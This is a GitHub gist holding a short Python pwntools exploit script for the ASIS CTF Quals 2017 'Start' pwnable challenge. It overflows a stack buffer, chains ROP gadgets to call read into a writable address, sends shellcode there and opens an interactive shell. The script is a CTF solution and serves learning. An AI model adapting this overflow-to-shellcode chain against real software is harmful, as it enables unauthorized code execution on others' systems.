Created
May 23, 2017 02:50
-
-
Save 0xPwny/05326aac83165171a376a5c8a8048369 to your computer and use it in GitHub Desktop.
ASIS CTF Quals 2017 - Start - pwnable
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from pwn import * | |
from littlepwny import * | |
#con = remote(sys.argv[1],int(sys.argv[2])) | |
con = process("./START") | |
shellcode = Scode("x64") | |
readplt = 0x0000000000400400 | |
poprdi = 0x00000000004005c3 | |
shelladdr = 0x00601000 | |
poprsi = 0x4005c1 | |
payload = "A"*24 | |
payload += p64(poprsi) | |
payload += p64(shelladdr) | |
payload += p64(0x0) | |
payload += p64(readplt) | |
payload += p64(shelladdr) | |
print '{+} send payload ...' | |
con.sendline(payload) | |
print '{+} send shellcode...' | |
con.sendline(shellcode) | |
con.interactive("Pwned$ ") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment